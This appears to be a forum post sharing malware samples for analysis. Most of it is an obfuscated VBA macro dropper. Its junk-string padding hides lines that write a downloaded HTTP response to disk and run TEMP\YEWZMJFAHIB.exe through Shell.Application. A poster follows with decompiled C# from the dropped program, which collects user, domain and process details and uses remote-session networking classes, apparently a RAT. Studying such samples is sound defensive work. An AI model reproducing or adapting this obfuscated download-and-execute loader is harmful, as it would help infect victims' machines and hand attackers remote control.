vODMofkn = "           QEIYKO               "
QGbCQamQ = LTrim(vODMofkn)
OneOIeaq = RTrim(QGbCQamQ)

zpJUykwC = LTrim(bVZDxMSE)
Dim ASJlbgsj, cDaTMlOk, lFqJgcul As String
ASJlbgsj = "           MUCGRA               "
cDaTMlOk = LTrim(ASJlbgsj)
lFqJgcul = RTrim(cDaTMlOk)

jNCqseUT = RTrim(zpJUykwC)

Dim HwyVpuIn, wjFlxAbl, gURrfIGX As String
HwyVpuIn = "           PALNNG               "
wjFlxAbl = LTrim(HwyVpuIn)
gURrfIGX = RTrim(wjFlxAbl)

ojjmZKLv = "           ZLXMZV               "
Dim IjSSDPBp, MxvGgvzm, uZqKJdyR As String
Dim dqkKJJRC, AacwCZHT, rsQhYNbB As String
dqkKJJRC = "           XFOPYY               "
AacwCZHT = LTrim(dqkKJJRC)
rsQhYNbB = RTrim(AacwCZHT)

IjSSDPBp = "           GMUZUM               "
Dim QOtnBfbz, VGJEAzEd, pWEYeGYc As String
QOtnBfbz = "           JEHCFO               "
VGJEAzEd = LTrim(QOtnBfbz)
pWEYeGYc = RTrim(VGJEAzEd)

MxvGgvzm = LTrim(IjSSDPBp)
Dim ldLiaPcD, gdelwFWF, pfdTHLlG As String
ldLiaPcD = "           HMBOKS               "
gdelwFWF = LTrim(ldLiaPcD)
pfdTHLlG = RTrim(gdelwFWF)

uZqKJdyR = RTrim(MxvGgvzm)

Dim SwmJeTnI, jjzsjNkb, XsOUEwpk As String
SwmJeTnI = "           IANXCA               "
jjzsjNkb = LTrim(SwmJeTnI)
XsOUEwpk = RTrim(jjzsjNkb)

mxecrYXO = LTrim(ojjmZKLv)
Dim DqZfoSDZ, IsSbEJqR, RdCQVWIT As String
Dim SQjKwQnB, gXTStopl, ESQhqMwa As String
SQjKwQnB = "           OAIPWE               "
gXTStopl = LTrim(SQjKwQnB)
ESQhqMwa = RTrim(gXTStopl)

DqZfoSDZ = "           NMHSXD               "
Dim HIMkdQal, zFYmFvrE, gMlcjdiF As String
HIMkdQal = "           LEQKMM               "
zFYmFvrE = LTrim(HIMkdQal)
gMlcjdiF = RTrim(zFYmFvrE)

IsSbEJqR = LTrim(DqZfoSDZ)
Dim zPbHCQRl, VQOzkGzl, LQLfSMbm As String
zPbHCQRl = "           UYGNHS               "
VQOzkGzl = LTrim(zPbHCQRl)
LQLfSMbm = RTrim(VQOzkGzl)

RdCQVWIT = RTrim(IsSbEJqR)

Dim DGlNIyRt, lPzmWnwX, VTOGiXfF As String
DGlNIyRt = "           AAXKVW               "
lPzmWnwX = LTrim(DGlNIyRt)
VTOGiXfF = RTrim(lPzmWnwX)

luYqzIZi = RTrim(mxecrYXO)

Dim kzoEQyTE, CCHVVnxw, ALclqWgf As String
Dim qbaslNOa, bhuHbQWO, znmPooRe As String
qbaslNOa = "           WWNMMP               "
bhuHbQWO = LTrim(qbaslNOa)
znmPooRe = RTrim(bhuHbQWO)

kzoEQyTE = "           HUHUBW               "
Dim bilAqDvI, cKCfoGti, PVOjQEil As String
bilAqDvI = "           QGVCLX               "
cKCfoGti = LTrim(bilAqDvI)
PVOjQEil = RTrim(cKCfoGti)

CCHVVnxw = LTrim(kzoEQyTE)
Dim WVEwasdp, JBFUwjPq, SBVLHmis As String
WVEwasdp = "           RDJHKN               "
JBFUwjPq = LTrim(WVEwasdp)
SBVLHmis = RTrim(JBFUwjPq)

ALclqWgf = RTrim(CCHVVnxw)

Dim HCxSqTqA, wKtucNzl, goWKgujC As String
HCxSqTqA = "           PGZMAA               "
wKtucNzl = LTrim(HCxSqTqA)
goWKgujC = RTrim(wKtucNzl)

    OISBYEFREAZ = CPNTFBEJUZO.responseBody

Dim aEVZQBbW, XRoFtrCC, KTlNbimV As String
Dim xGTETrIJ, BNLcgAkq, fHBzmdEL As String
Dim tYYMbKzP, lxQvTEfl, IdJzQgba As String
tYYMbKzP = "           LBHQCY               "
lxQvTEfl = LTrim(tYYMbKzP)
IdJzQgba = RTrim(lxQvTEfl)

xGTETrIJ = "           AEGENS               "
Dim xBlPMENJ, OttDxkea, UGInmlOn As String
xBlPMENJ = "           PQCZQJ               "
OttDxkea = LTrim(xBlPMENJ)
UGInmlOn = RTrim(OttDxkea)

BNLcgAkq = LTrim(xGTETrIJ)
Dim cflwlTlT, lgEUDOJU, ggDMiFgI As String
cflwlTlT = "           KWSHAO               "
lgEUDOJU = LTrim(cflwlTlT)
ggDMiFgI = RTrim(lgEUDOJU)

fHBzmdEL = RTrim(BNLcgAkq)

Dim qoypKyKR, GrFTynOx, mBwNlWAg As String
qoypKyKR = "           MWLTKF               "
GrFTynOx = LTrim(qoypKyKR)
mBwNlWAg = RTrim(GrFTynOx)

aEVZQBbW = "           UEALPL               "
Dim ecCBVRhG, hEOzbllN, AOwyzyxq As String
Dim LTcTsZQQ, uwEpjgCl, OYJeNQYF As String
LTcTsZQQ = "           SVSRHB               "
uwEpjgCl = LTrim(LTcTsZQQ)
OYJeNQYF = RTrim(uwEpjgCl)

ecCBVRhG = "           NCSODJ               "
Dim FbGLmZpl, NTAXXhfR, VjtOMkLe As String
FbGLmZpl = "           KVOYVH               "
NTAXXhfR = LTrim(FbGLmZpl)
VjtOMkLe = RTrim(NTAXXhfR)

hEOzbllN = LTrim(ecCBVRhG)
Dim TMLlYWDi, nMeTaBqo, xWdKwrIp As String
TMLlYWDi = "           XQVGIJ               "
nMeTaBqo = LTrim(TMLlYWDi)
xWdKwrIp = RTrim(nMeTaBqo)

AOwyzyxq = RTrim(hEOzbllN)

Dim PPBIGWoV, gTUezhNG, MAgcgQKU As String
PPBIGWoV = "           NVQOAH               "
gTUezhNG = LTrim(PPBIGWoV)
MAgcgQKU = RTrim(gTUezhNG)

XRoFtrCC = LTrim(aEVZQBbW)
Dim jdOSYhWp, ddMValkq, ifrpwvGs As String
Dim odlKXOqr, QcISTuMc, NfDhPKyy As String
odlKXOqr = "           ABFKCW               "
QcISTuMc = LTrim(odlKXOqr)
NfDhPKyy = RTrim(QcISTuMc)

jdOSYhWp = "           GMMVIA               "
Dim buVPnCix, QdPDeQsU, VlxHRvgJ As String
buVPnCix = "           QGDAAN               "
QdPDeQsU = LTrim(buVPnCix)
VlxHRvgJ = RTrim(QdPDeQsU)

ddMValkq = LTrim(jdOSYhWp)
Dim WaSkvQFy, JzXELHsu, SeuGfMOi As String
WaSkvQFy = "           RGWFRS               "
JzXELHsu = LTrim(WaSkvQFy)
SeuGfMOi = RTrim(JzXELHsu)

ifrpwvGs = RTrim(ddMValkq)

Dim eZsupOll, XKeKaHUC, nFPdfqbG As String
eZsupOll = "           HTXRNE               "
XKeKaHUC = LTrim(eZsupOll)
nFPdfqbG = RTrim(XKeKaHUC)

KTlNbimV = RTrim(XRoFtrCC)

Dim UFTGGrTf, sOfqzbxy, JRWTgMgC As String
Dim dSsKKTSt, GCbSAewv, rDThUFUu As String
dSsKKTSt = "           ESPKWL               "
GCbSAewv = LTrim(dSsKKTSt)
rDThUFUu = RTrim(GCbSAewv)

UFTGGrTf = "           VNZDAW               "
Dim pmAlSKsl, xnfcfThE, IYNnHllF As String
pmAlSKsl = "           PYYZXJ               "
xnfcfThE = LTrim(pmAlSKsl)
IYNnHllF = RTrim(xnfcfThE)

sOfqzbxy = LTrim(UFTGGrTf)
Dim GpddXhOe, Qqcvjlur, YsUPQvRt As String
GpddXhOe = "           ALOQHA               "
Qqcvjlur = LTrim(GpddXhOe)
YsUPQvRt = RTrim(Qqcvjlur)

JRWTgMgC = RTrim(sOfqzbxy)

Dim psmwxuaK, GueHOAKO, lePsXCPA As String
psmwxuaK = "           LCAQUG               "
GueHOAKO = LTrim(psmwxuaK)
lePsXCPA = RTrim(GueHOAKO)

    KRUSSZJMQME = FreeFile
    Open HSZAKTQRXVD For Binary Access Write As #KRUSSZJMQME
Dim iiiRQBxS, DeGBVlfR, kBclqGyw As String
Dim VsKTOJCG, szCoGZoc, GdsevNKK As String
Dim GBdVnieM, rGkAYLgZ, YNYwhjVX As String
GBdVnieM = "           QIYDVF               "
rGkAYLgZ = LTrim(GBdVnieM)
YNYwhjVX = RTrim(rGkAYLgZ)

VsKTOJCG = "           GGXRZY               "
Dim JoDObizf, GLjwcpIS, aBevNVQC As String
JoDObizf = "           MHUAAY               "
GLjwcpIS = LTrim(JoDObizf)
aBevNVQC = RTrim(GLjwcpIS)

szCoGZoc = LTrim(VsKTOJCG)
Dim SealJgtu, IrqTslZi, EtmJYcNo As String
SealJgtu = "           NHZFDA               "
IrqTslZi = LTrim(SealJgtu)
EtmJYcNo = RTrim(IrqTslZi)

GdsevNKK = RTrim(szCoGZoc)

Dim VzCjOywp, EVTQXnda, oLdyoXrL As String
VzCjOywp = "           UUPNVW               "
EVTQXnda = LTrim(VzCjOywp)
oLdyoXrL = RTrim(EVTQXnda)

iiiRQBxS = "           SPHUBK               "
Dim gTvLwvjs, djzTlnXQ, bxFIXgNW As String
Dim tQSWJsjt, UXaGnINb, XSulTmsi As String
tQSWJsjt = "           BSCMWO               "
UXaGnINb = LTrim(tQSWJsjt)
XSulTmsi = RTrim(UXaGnINb)

gTvLwvjs = "           YANYBF               "
Dim qmvSigCo, xnqGOeNl, mqFAUtYL As String
qmvSigCo = "           EXNZKO               "
xnqGOeNl = LTrim(qmvSigCo)
mqFAUtYL = RTrim(xnqGOeNl)

djzTlnXQ = LTrim(gTvLwvjs)
Dim PGcEqJeV, YHUGRWnB, AJKaBNVN As String
PGcEqJeV = "           BOFMCG               "
YHUGRWnB = LTrim(PGcEqJeV)
AJKaBNVN = RTrim(YHUGRWnB)

bxFIXgNW = RTrim(djzTlnXQ)

Dim AshaIlAI, mZuSbnHs, NcFuSWUr As String
AshaIlAI = "           ZXVADW               "
mZuSbnHs = LTrim(AshaIlAI)
NcFuSWUr = RTrim(mZuSbnHs)

DeGBVlfR = LTrim(iiiRQBxS)
Dim nPKtAsDo, wQzjWjqp, jSsZhmIq As String
Dim bHBrtYVq, FYtUqkoL, jJlAMGKf As String
bHBrtYVq = "           ERNHDN               "
FYtUqkoL = LTrim(bHBrtYVq)
jJlAMGKf = RTrim(FYtUqkoL)

nPKtAsDo = "           LYVUTN               "
Dim pNxzutUp, xyotOLPm, mHSJUWjM As String
pNxzutUp = "           EQBPJR               "
xyotOLPm = LTrim(pNxzutUp)
mHSJUWjM = RTrim(xyotOLPm)

wQzjWjqp = LTrim(nPKtAsDo)
Dim DCZgRZKj, OCSnBYhk, RVXDlQDl As String
DCZgRZKj = "           NSHSUI               "
OCSnBYhk = LTrim(DCZgRZKj)
RVXDlQDl = RTrim(OCSnBYhk)

jSsZhmIq = RTrim(wQzjWjqp)

Dim xhonlrgf, zsJWYvyy, MZUYcYmO As String
xhonlrgf = "           NBWFTD               "
zsJWYvyy = LTrim(xhonlrgf)
MZUYcYmO = RTrim(zsJWYvyy)

kBclqGyw = RTrim(DeGBVlfR)

Dim busjZkKr, tzMQGSOW, VlPxTLBv As String
Dim CPomVBvk, sngVrPPN, FQEKDill As String
CPomVBvk = "           FARVOP               "
sngVrPPN = LTrim(CPomVBvk)
FQEKDill = RTrim(sngVrPPN)

busjZkKr = "           AMXOOM               "
Dim jGrALFZi, ZWHRmAYk, FaZUChOZ As String
jGrALFZi = "           YYHCPX               "
ZWHRmAYk = LTrim(jGrALFZi)
FaZUChOZ = RTrim(ZWHRmAYk)

tzMQGSOW = LTrim(busjZkKr)
Dim KNXVOwuo, DayprnRp, OzhwvRzs As String
KNXVOwuo = "           ZFNROR               "
DayprnRp = LTrim(KNXVOwuo)
OzhwvRzs = RTrim(DayprnRp)

VlPxTLBv = RTrim(tzMQGSOW)

Dim SrlBbSLm, jNNlSuPd, XWIFNAAr As String
SrlBbSLm = "           ILBNIR               "
jNNlSuPd = LTrim(SrlBbSLm)
XWIFNAAr = RTrim(jNNlSuPd)

    Put #KRUSSZJMQME, , OISBYEFREAZ
Dim jvAHGGUn, LPHPvdjM, ibWfRVZZ As String
Dim WeHKaoch, cftSPYuO, SrqhGklk As String
Dim QvVpACpV, NgrFUIwY, ZblIjyta As String
QvVpACpV = "           OWBLVI               "
NgrFUIwY = LTrim(QvVpACpV)
ZblIjyta = RTrim(NgrFUIwY)

WeHKaoch = "           MWBKBI               "
Dim eLnHKFtj, gBdLmZoA, ntBXXhsQ As String
eLnHKFtj = "           YKYDBG               "
gBdLmZoA = LTrim(eLnHKFtj)
ntBXXhsQ = RTrim(gBdLmZoA)

cftSPYuO = LTrim(WeHKaoch)
Dim EqGmUgKZ, vqNYzlhE, mspKwcDR As String
EqGmUgKZ = "           WLCGIA               "
vqNYzlhE = LTrim(EqGmUgKZ)
mspKwcDR = RTrim(vqNYzlhE)

SrqhGklk = RTrim(cftSPYuO)

Dim sRkyjtFy, JbNnEbYC, xmUWHWcG As String
sRkyjtFy = "           FWWWGW               "
JbNnEbYC = LTrim(sRkyjtFy)
xmUWHWcG = RTrim(JbNnEbYC)

jvAHGGUn = "           TYKJMV               "
Dim ZABXWbxW, AdZOLAzm, DlgSmhyT As String
Dim FQAymLsG, eAUPnRcc, TSXRpzuK As String
FQAymLsG = "           PAFJWU               "
eAUPnRcc = LTrim(FQAymLsG)
TSXRpzuK = RTrim(eAUPnRcc)

ZABXWbxW = "           DBDUQG               "
Dim xekZceZT, wFWhwtit, UMUlCLsh As String
xekZceZT = "           PDCVNE               "
wFWhwtit = LTrim(xekZceZT)
UMUlCLsh = RTrim(wFWhwtit)

AdZOLAzm = LTrim(ZABXWbxW)
Dim hhzZillf, qjsFZxJg, ukwNXAgj As String
hhzZillf = "           FXELWE               "
qjsFZxJg = LTrim(hhzZillf)
ukwNXAgj = RTrim(qjsFZxJg)

DlgSmhyT = RTrim(AdZOLAzm)

Dim kcPIjTpZ, ClkeEaal, GOoFmihC As String
kcPIjTpZ = "           CZIKRA               "
ClkeEaal = LTrim(kcPIjTpZ)
GOoFmihC = RTrim(ClkeEaal)

LPHPvdjM = LTrim(jvAHGGUn)
Dim KuRfkhbZ, FiFbQmCE, OiBQyvmT As String
Dim rbSlnkCL, YQafpFYd, WAyKhnKW As String
rbSlnkCL = "           BYCYSS               "
YQafpFYd = LTrim(rbSlnkCL)
WAyKhnKW = RTrim(YQafpFYd)

KuRfkhbZ = "           ZJJSNZ               "
Dim YAlZEXFX, RdCgAVmm, JlOkrQcT As String
YAlZEXFX = "           FBVCEN               "
RdCgAVmm = LTrim(YAlZEXFX)
JlOkrQcT = RTrim(RdCgAVmm)

FiFbQmCE = LTrim(KuRfkhbZ)
Dim jPVBEluq, dPisCxRs, iQlckAzf As String
jPVBEluq = "           GYATYE               "
dPisCxRs = LTrim(jPVBEluq)
iQlckAzf = RTrim(dPisCxRs)

OiBQyvmT = RTrim(FiFbQmCE)

Dim dRfvKPlB, JnXLtysJ, xwEfkneO As String
dRfvKPlB = "           WYCDJR               "
JnXLtysJ = LTrim(dRfvKPlB)
xwEfkneO = RTrim(JnXLtysJ)

ibWfRVZZ = RTrim(LPHPvdjM)

Dim xrOUrHUl, aBkzjsbq, YMBxEYjz As String
Dim WCXDoTWs, cipUKeEY, SVhqVFGg As String
WCXDoTWs = "           WKZGRL               "
cipUKeEY = LTrim(WCXDoTWs)
SVhqVFGg = RTrim(cipUKeEY)

xrOUrHUl = "           NKIJCU               "
Dim CtZaHPvg, pqgrkcZb, iXKHhbiV As String
CtZaHPvg = "           CFZPOM               "
pqgrkcZb = LTrim(CtZaHPvg)
iXKHhbiV = RTrim(pqgrkcZb)

aBkzjsbq = LTrim(xrOUrHUl)
Dim LVXfHWuK, GBybqNRL, PNhQRrzM As String
LVXfHWuK = "           EDNSDJ               "
GBybqNRL = LTrim(LVXfHWuK)
PNhQRrzM = RTrim(GBybqNRL)

YMBxEYjz = RTrim(aBkzjsbq)

Dim RaexZwld, pXPJGHqr, GJlszszX As String
RaexZwld = "           CYDEME               "
pXPJGHqr = LTrim(RaexZwld)
GJlszszX = RTrim(pXPJGHqr)

    Close #KRUSSZJMQME
Dim ZAthIEzR, FUJlqjtG, SlmtolQf As String
Dim UupkyZDT, XChXsfBf, voRHWQIU As String
Dim KXsInJMY, mubZpgEN, OCTyhNGI As String
KXsInJMY = "           LJPDDB               "
mubZpgEN = LTrim(KXsInJMY)
OCTyhNGI = RTrim(mubZpgEN)

UupkyZDT = "           USTCDV               "
Dim lpHzSxqO, RhZtfqgL, JwgiHVkr As String
lpHzSxqO = "           UHOPUD               "
RhZtfqgL = LTrim(lpHzSxqO)
JwgiHVkr = RTrim(RhZtfqgL)

XChXsfBf = LTrim(UupkyZDT)
Dim oSuALFML, rDjDdLkW, NFABUCGX As String
oSuALFML = "           QUYKFF               "
rDjDdLkW = LTrim(oSuALFML)
NFABUCGX = RTrim(rDjDdLkW)

voRHWQIU = RTrim(XChXsfBf)

Dim hgZZLLel, oTlfPNlX, DnaICwpF As String
hgZZLLel = "           XVRFKI               "
oTlfPNlX = LTrim(hgZZLLel)
DnaICwpF = RTrim(oTlfPNlX)

ZAthIEzR = "           SBHJTJ               "
Dim yQwsFpWp, kJighVBm, hAQafNRL As String
Dim ySkiXxpW, mAcSaiwE, CDQYPTtC As String
ySkiXxpW = "           LZOKIW               "
mAcSaiwE = LTrim(ySkiXxpW)
CDQYPTtC = RTrim(mAcSaiwE)

yQwsFpWp = "           ARBGIU               "
Dim iLayCtMf, mBDobLCv, YtbsaYNO As String
iLayCtMf = "           ZIGSSR               "
mBDobLCv = LTrim(iLayCtMf)
YtbsaYNO = RTrim(mBDobLCv)

kJighVBm = LTrim(yQwsFpWp)
Dim ZCeQGKYl, pZrUTqYO, yZgLNgrP As String
ZCeQGKYl = "           FZBHCC               "
pZrUTqYO = LTrim(ZCeQGKYl)
yZgLNgrP = RTrim(pZrUTqYO)

hAQafNRL = RTrim(kJighVBm)

Dim HOzEFSmu, wROBaudV, abklfArH As String
HOzEFSmu = "           PIJGGR               "
wROBaudV = LTrim(HOzEFSmu)
abklfArH = RTrim(wROBaudV)

FUJlqjtG = LTrim(ZAthIEzR)
Dim swewQzaq, uxdUyuvd, ecxLnqXf As String
Dim NBAhXOof, ZpHpTuKU, HNWDPLrh As String
NBAhXOof = "           CLKRCW               "
ZpHpTuKU = LTrim(NBAhXOof)
HNWDPLrh = RTrim(ZpHpTuKU)

swewQzaq = "           TFBUXZ               "
Dim aqJJJHyL, djEMlRor, vxhCWkdg As String
aqJJJHyL = "           TAFDVH               "
djEMlRor = LTrim(aqJJJHyL)
vxhCWkdg = RTrim(djEMlRor)

uxdUyuvd = LTrim(swewQzaq)
Dim cVdVdAax, lVxpUTvc, gBYwaPXv As String
cVdVdAax = "           KDIRVU               "
lVxpUTvc = LTrim(cVdVdAax)
gBYwaPXv = RTrim(lVxpUTvc)

ecxLnqXf = RTrim(uxdUyuvd)

Dim yviqcmIy, PlHTQGbC, hhcNVqkG As String
yviqcmIy = "           PKHVKE               "
PlHTQGbC = LTrim(yviqcmIy)
hhcNVqkG = RTrim(PlHTQGbC)

SlmtolQf = RTrim(FUJlqjtG)

Dim UfzdDPPI, dpOINyAb, Jtkednlk As String
Dim CDOGazUW, bBVOPvjg, FGefHqZC As String
CDOGazUW = "           WDXJNR               "
bBVOPvjg = LTrim(CDOGazUW)
FGefHqZC = RTrim(bBVOPvjg)

UfzdDPPI = "           VDDBNQ               "
Dim BXhrIysC, VYLHYiJx, pSTLoXWU As String
BXhrIysC = "           VOXQTT               "
VYLHYiJx = LTrim(BXhrIysC)
pSTLoXWU = RTrim(VYLHYiJx)

dpOINyAb = LTrim(UfzdDPPI)
Dim xTaCHGFV, lYsoqMsB, fYwmRVON As String
xTaCHGFV = "           KREEDF               "
lYsoqMsB = LTrim(xTaCHGFV)
fYwmRVON = RTrim(lYsoqMsB)

Jtkednlk = RTrim(dpOINyAb)

Dim FamlMBGc, UkqrQyta, sdLvVAXL As String
FamlMBGc = "           OJNPKQ               "
UkqrQyta = LTrim(FamlMBGc)
sdLvVAXL = RTrim(UkqrQyta)

   
Dim lWdxjQex, hWxIQHnc, qXUMyMVb As String
Dim OxTDEDBL, sULUdqIf, ncBqlXMX As String
Dim ZQyubYlI, tXmaoree, lSnTgGgQ As String
ZQyubYlI = "           QSUNSL               "
tXmaoree = LTrim(ZQyubYlI)
lSnTgGgQ = RTrim(tXmaoree)

OxTDEDBL = "           FTMGFC               "
sULUdqIf = LTrim(OxTDEDBL)
Dim VPxFFIZI, pHoJhwYL, inSEfcsk As String
VPxFFIZI = "           CEBEIL               "
pHoJhwYL = LTrim(VPxFFIZI)
inSEfcsk = RTrim(pHoJhwYL)

ncBqlXMX = RTrim(sULUdqIf)

Dim lbYGHTkJ, hnHaqOGL, qAadTFsM As String
lbYGHTkJ = "           HAKBDO               "
hnHaqOGL = LTrim(lbYGHTkJ)
qAadTFsM = RTrim(hnHaqOGL)

lWdxjQex = "           HQIHNS               "
Dim SnADXHql, VYfHvRfR, XkJExYMe As String
Dim jdZDZMKn, WoqiHgPk, FbaLYwBW As String
jdZDZMKn = "           CCTMPI               "
WoqiHgPk = LTrim(jdZDZMKn)
FbaLYwBW = RTrim(WoqiHgPk)

SnADXHql = "           JBZESC               "
Dim CLrxPmvT, btlhlKiN, FWcMvElI As String
CLrxPmvT = "           FTZBZM               "
btlhlKiN = LTrim(CLrxPmvT)
FWcMvElI = RTrim(btlhlKiN)

VYfHvRfR = LTrim(SnADXHql)
Dim kJTzzyJh, RCktRMMn, HeriyIVQ As String
kJTzzyJh = "           UURPGT               "
RCktRMMn = LTrim(kJTzzyJh)
HeriyIVQ = RTrim(RCktRMMn)

XkJExYMe = RTrim(VYfHvRfR)

Dim BxreRris, WcggBiTd, Hvvnldef As String
BxreRris = "           YBRYUW               "
WcggBiTd = LTrim(BxreRris)
Hvvnldef = RTrim(WcggBiTd)

hWxIQHnc = LTrim(lWdxjQex)
Dim MXZvcYvK, HXSPKPXL, QCXXdGlW As String
Dim YVtOUTkT, sLDrMNpc, HFmvuwag As String
YVtOUTkT = "           THLKSA               "
sLDrMNpc = LTrim(YVtOUTkT)
HFmvuwag = RTrim(sLDrMNpc)

MXZvcYvK = "           ESHJRP               "
Dim tbnHedvk, UPFPSPiQ, XnMfKxll As String
tbnHedvk = "           BYJJAP               "
UPFPSPiQ = LTrim(tbnHedvk)
XnMfKxll = RTrim(UPFPSPiQ)

HXSPKPXL = LTrim(MXZvcYvK)
Dim rCDEumWC, jebYIoVi, ZosOqXak As String
rCDEumWC = "           NPIVJS               "
jebYIoVi = LTrim(rCDEumWC)
ZosOqXak = RTrim(jebYIoVi)

QCXXdGlW = RTrim(HXSPKPXL)

Dim YtGhfmZm, ZyBAIbNw, cupDeEcx As String
YtGhfmZm = "           CJCSVR               "
ZyBAIbNw = LTrim(YtGhfmZm)
cupDeEcx = RTrim(ZyBAIbNw)

qXUMyMVb = RTrim(hWxIQHnc)

Dim MgdcqOqq, bpMKctzz, lnQEgskT As String
Dim mKgzfBKY, NDXcnlPv, RORKFGAh As String
mKgzfBKY = "           KZLLDK               "
NDXcnlPv = LTrim(mKgzfBKY)
RORKFGAh = RTrim(NDXcnlPv)

MgdcqOqq = "           SVXSAE               "
Dim gLBzBsXc, JtdXIOTK, yWlbDmJn As String
gLBzBsXc = "           RHRCBO               "
JtdXIOTK = LTrim(gLBzBsXc)
yWlbDmJn = RTrim(JtdXIOTK)

bpMKctzz = LTrim(MgdcqOqq)
Dim QYlsteDm, VDtgUHHT, pLJkoRMH As String
QYlsteDm = "           VSZVTX               "
VDtgUHHT = LTrim(QYlsteDm)
pLJkoRMH = RTrim(VDtgUHHT)

lnQEgskT = RTrim(bpMKctzz)

Dim pgpLMNDi, thltgtqo, ahEjOoIp As String
pgpLMNDi = "           QWUAGM               "
thltgtqo = LTrim(pgpLMNDi)
ahEjOoIp = RTrim(thltgtqo)

Set gdfgfdgdfgdf = CreateObject("Shell.Application")
gdfgfdgdfgdf.Open Environ("TEMP") & "\YEWZMJFAHIB.exe"
Dim spQjQKQS, JylQVdZR, OxpxGlJi As String
Dim PHIxcDmG, dzXjuqrp, AKzMdXhK As String
Dim WkgozDJh, FItMKMuL, lEDgygVQ As String
WkgozDJh = "           SBCTXT               "
FItMKMuL = LTrim(WkgozDJh)
lEDgygVQ = RTrim(FItMKMuL)

PHIxcDmG = "           GGWUQC               "
Dim ZJkPqmgq, JUcfjynL, lLSiNEpf As String
ZJkPqmgq = "           RROYHW               "
JUcfjynL = LTrim(ZJkPqmgq)
lLSiNEpf = RTrim(JUcfjynL)

dzXjuqrp = LTrim(PHIxcDmG)
Dim IRIfOFDc, YhsaUHlX, KwVroExu As String
IRIfOFDc = "           GATHTX               "
YhsaUHlX = LTrim(IRIfOFDc)
KwVroExu = RTrim(YhsaUHlX)

AKzMdXhK = RTrim(dzXjuqrp)

Dim QTCCNrDB, UTuomoqa, ZYkmGdIz As String
QTCCNrDB = "           BRAEKX               "
UTuomoqa = LTrim(QTCCNrDB)
ZYkmGdIz = RTrim(UTuomoqa)

spQjQKQS = "           MXOOFU               "
Dim xGeYOuNy, IXGOqWrj, MzASDOuA As String
Dim PyXORlGI, hzRrJDUn, MCsbrivl As String
PyXORlGI = "           UMFKQW               "
hzRrJDUn = LTrim(PyXORlGI)
MCsbrivl = RTrim(hzRrJDUn)

xGeYOuNy = "           OYGBYT               "
Dim TbjgfsjN, iQToCONl, xAQSzwsz As String
TbjgfsjN = "           DYDEYO               "
iQToCONl = LTrim(TbjgfsjN)
xAQSzwsz = RTrim(iQToCONl)

IXGOqWrj = LTrim(xGeYOuNy)
Dim cLvnYnds, OBqEigjx, UPFhyjXW As String
cLvnYnds = "           PINXRG               "
OBqEigjx = LTrim(cLvnYnds)
UPFhyjXW = RTrim(OBqEigjx)

MzASDOuA = RTrim(IXGOqWrj)

Dim tlcjOdjI, NmUZejFP, XwKFcwsQ As String
tlcjOdjI = "           OVFDON               "
NmUZejFP = LTrim(tlcjOdjI)
XwKFcwsQ = RTrim(NmUZejFP)

JylQVdZR = LTrim(spQjQKQS)
Dim HWKuqQEL, QXelTHaM, YCdRNMvW As String
Dim dKprwhuT, JDJvIQVc, xObMWyHg As String
dKprwhuT = "           FZJMJN               "
JDJvIQVc = LTrim(dKprwhuT)
xObMWyHg = RTrim(JDJvIQVc)

HWKuqQEL = "           ASVICS               "
Dim uHpHKnJL, wYhlVseA, VJRfUOSX As String
uHpHKnJL = "           MRTOYC               "
wYhlVseA = LTrim(uHpHKnJL)
VJRfUOSX = RTrim(wYhlVseA)

QXelTHaM = LTrim(HWKuqQEL)
Dim rUIHbNCp, hDmLzFal, ALuXEArR As String
rUIHbNCp = "           NZTRAZ               "
hDmLzFal = LTrim(rUIHbNCp)
ALuXEArR = RTrim(hDmLzFal)

YCdRNMvW = RTrim(QXelTHaM)

Dim hIlFfurA, qOENIsAZ, uPDsehBR As String
hIlFfurA = "           FTSBBC               "
qOENIsAZ = LTrim(hIlFfurA)
uPDsehBR = RTrim(qOENIsAZ)

OxpxGlJi = RTrim(JylQVdZR)

Dim fEPZavPZ, KbkCfMZm, cmNlngls As String
Dim tgbNSIOI, CRhQZGVs, ZnVyHpHe As String
tgbNSIOI = "           JVENFZ               "
CRhQZGVs = LTrim(tgbNSIOI)
ZnVyHpHe = RTrim(CRhQZGVs)

fEPZavPZ = "           WYIGXV               "
Dim jkCepHbQ, TizYgAQl, iljnBBmD As String
jkCepHbQ = "           VKVGGT               "
TizYgAQl = LTrim(jkCepHbQ)
iljnBBmD = RTrim(TizYgAQl)

KbkCfMZm = LTrim(fEPZavPZ)
Dim XyDASvcv, isbRgdnO, lksUHNEL As String
XyDASvcv = "           XFICUF               "
isbRgdnO = LTrim(XyDASvcv)
lksUHNEL = RTrim(isbRgdnO)

cmNlngls = RTrim(KbkCfMZm)

Dim SASlBtnJ, IZXRloVK, EZyHDfwM As String
SASlBtnJ = "           NZWFJX               "
IZXRloVK = LTrim(SASlBtnJ)
EZyHDfwM = RTrim(IZXRloVK)

     
End Function

+1 very good material

I am putting out codes on what I have decompiled:  I hi-lighted the line of code that seem gives me an idea what .exe file's behaviour.
I am not sure as well with the bunch of chinese characters when I ran it on my vm XP sandbox code there was like something like "ud9fb". so what I did before was like python -c "print u'\ud8f7'" but gave me ���.  Lol i am still new to this but what you guys think.
    public a9()
    {
        [b]this.a = Environment.get_UserName();[/b]
        [b]this.b = Environment.get_UserDomainName();[/b]
        this.c = "";
        this.d = a9.d.a;
      [b]  this.f = Environment.get_CommandLine();[/b]
        this.g = a9.b.b;
      [b]  this.h = Environment.get_CurrentDirectory();[/b]
        this.i = default(a9.e);
        this.i.a = Marshal.SizeOf(this.i);
        this.i.l = 8;
        this.i.j = 50;
      [b]  using (Process currentProcess = Process.GetCurrentProcess())[/b]
        {
            [b]this.e = currentProcess.get_StartInfo().get_FileName();[/b]
         [b]   this.i.d = currentProcess.get_MainWindowTitle();[/b]
        }
        this.j = default(a9.g);
        this.k = IntPtr.Zero;
    }

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using System;
using System.Net.Sockets;
[b]public delegate void ak(TcpClient A_0, bj A_1);[/b]

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using Shared;
using System;
using System.Net;
using System.Net.Sockets;
public class ar : br
{
    public ar(RcSession A_0, a7 A_1) : base(A_0, A_1)
    {
    }
    public override bool a(a1 A_0)
    {
        int a_ = 3;
     [b]   if (A_0.c == <Module>.a("臮铰蓲", a_))[/b]
        {
            if (true)
            {
            }
            string[] array = A_0.d.Split(new char[]
            {
                ','
            });
